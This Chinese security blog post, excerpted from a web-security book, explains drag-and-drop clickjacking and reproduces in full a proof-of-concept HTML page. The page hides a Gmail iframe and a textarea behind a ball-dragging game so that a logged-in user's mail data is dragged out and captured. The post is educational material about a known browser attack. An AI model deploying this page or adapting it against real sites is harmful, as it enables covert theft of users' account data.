• 如果你喜欢Time_泽~少的博客,请按ctrl+D收藏吧!
  • 网络安全/信息技术博客

拖拽劫持

拖拽劫持

2010年,ClickJacking技术有了新的发展。一位名叫Paul Stone的安全研究者在BlackHat 2010大会上发表了题为”Next Generation Clickjacking”的演讲。在该演讲中,提出了”浏览器拖拽事件”导致的一些安全问题。
目前很多浏览器都开始支持Drag & Drop 的API。对于用户来说,拖拽使他们的操作更加简单。浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另外一个窗口,因此拖拽是不受同源策略限制的。
“拖拽劫持”的思路是诱使用户从隐藏的不可见iframe中”拖拽”出攻击者希望得到的数据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。
在JavaScript或者Java API的支持下,这个攻击过程会变得非常隐蔽。因为它突破了传统ClickJacking一些先天的局限,所以这种新型的”拖拽劫持”能够造成更大的破坏。
国内的安全研究者xisigr 曾经构造了一个针对Gmail的POC ,其过程大致如下。
首先,制作一个网页小游戏,要把小球拖拽到小海豹的头顶上。

拖拽劫持
演示拖拽劫持的网页小游戏
实际上,在小球和小海豹的头顶上都有隐藏的iframe。
在这个例子中,xisigr使用event.dataTransfer.getData(‘Text’) 来获取”drag”到的数据。当用户拖拽小球时,实际上是选中了隐藏的iframe里的数据;在放下小球时,把数据也放在了隐藏的textarea中,从而完成一次数据窃取的过程。

拖拽劫持
原理示意图
这个例子的源代码如下:
1.    <html>
2.
3.      <head>
4.        <title>
5.          Gmail Clickjacking with drag and drop Attack Demo
6.        </title>
7.        <style>
8.          .iframe_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden;
9.          filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{
10.         height: 30px; width: 30px; top:160px; left:670px; overflow:hidden; filter:
11.         alpha(opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px;
12.         position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0);
13.         opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position:
14.         absolute; }.center{ margin-right: auto;margin-left: auto; vertical-align:middle;text-align:center;
15.         margin-top:350px;}
16.       </style>
17.       <script>
18.         function Init() {
19.           var source = document.getElementById(“source”);
20.           var target = document.getElementById(“target”);
21.           if (source.addEventListener) {
22.             target.addEventListener(“drop”, DumpInfo, false);
23.           } else {
24.             target.attachEvent(“ondrop”, DumpInfo);
25.           }
26.         }
27.         function DumpInfo(event) {
28.           showHide_ball.call(this);
29.           showHide_ball_1.call(this);
30.           var info = document.getElementById(“info”);
31.           info.innerHTML += “<span style=’color:#3355cc;font-size:13px’>” + event.dataTransfer.getData(‘Text’) + “</span><br> “;
32.         }
33.         function showHide_frame() {
34.           var iframe_1 = document.getElementById(“iframe_1”);
35.           iframe_1.style.opacity = this.checked ? “0.5”: “0”;
36.           iframe_1.style.filter = “progid:DXImageTransform.Microsoft.Alpha(opacity=” + (this.checked ? “50”: “0”) + “);”
37.         }
38.         function showHide_text() {
39.           var text_1 = document.getElementById(“target”);
40.           text_1.style.opacity = this.checked ? “0.5”: “0”;
41.           text_1.style.filter = “progid:DXImageTransform.Microsoft.Alpha(opacity=” + (this.checked ? “50”: “0”) + “);”
42.         }
43.         function showHide_ball() {
44.           var hide_ball = document.getElementById(“hide_ball”);
45.           hide_ball.style.opacity = “0”;
46.           hide_ball.style.filter = “alpha(opacity=0)”;
47.         }
48.         function showHide_ball_1() {
49.           var hide_ball_1 = document.getElementById(“hide_ball_1”);
50.           hide_ball_1.style.opacity = “1”;
51.           hide_ball_1.style.filter = “alpha(opacity=100)”;
52.         }
53.         function reload_text() {
54.           document.getElementById(“target”).value = ”;
55.         }
56.       </script>
57.     </head>
58.
59.     <body onload=”Init();”>
60.       <center>
61.         <h1>
62.           Gmail Clickjacking with drag and drop Attack
63.         </h1>
64.       </center>
65.       <img id=”hide_ball” src=ball.png class=”ball”>
66.       <div id=”source”>
67.         <iframe id=”iframe_1″ src=”https://mail.google.com/mail/ig/mailmax” class=”iframe_hidden”
68.         scrolling=”no”>
69.         </iframe>
70.       </div>
71.       <img src=Dolphin.jpg class=”Dolphin”>
72.       <div>
73.         <img id=”hide_ball_1″ src=ball.png class=”ball_1″>
74.       </div>
75.       <div>
76.         <textarea id=”target” class=”text_area_hidden”>
77.         </textarea>
78.       </div>
79.       <div id=”info” style=”position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;”>
80.       </div>
81.       <center>
82.         Note: Clicking “ctrl + a” to select the ball, then drag it to the
83.         <br>
84.         mouth of the dolphin with the mouse.Make sure you have logged into GMAIL.
85.         <br>
86.       </center>
87.       <br>
88.       <br>
89.       <div class=”center”>
90.         <center>
91.           <center>
92.             <input id=”showHide_frame” type=”checkbox” onclick=”showHide_frame.call(this);”
93.             />
94.             <label for=”showHide_frame”>
95.               Show the jacked I–Frame
96.             </label>
97.             |
98.             <input id=”showHide_text” type=”checkbox” onclick=”showHide_text.call(this);”
99.             />
100.          <label for=”showHide_text”>
101.            Show the jacked Textarea
102.          </label>
103.          |
104.          <input type=button value=”Replay” onclick=”location.reload();reload_text();”>
105.        </center>
106.        <br><br>
107.        <b>
108.          Design by
109.          <a target=”_blank” href=”http://hi.baidu.com/xisigr”>
110.            xisigr
111.          </a>
112.        </b>
113.      </center>
114.    </div>
115.  </body>
116.</html>
这是一个非常精彩的案例。

原文转自红黑联盟,属图书为白帽子讲Web安全。

原创文章,转载请注明: 转载自Time_泽~少的博客

本文链接地址: 拖拽劫持

拖拽劫持



Time_泽~少的博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明拖拽劫持
喜欢 (1)or分享 (0)
Time_泽 ~少
关于作者:
计算机专业/网络安全技术,社会工程学。
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址可不填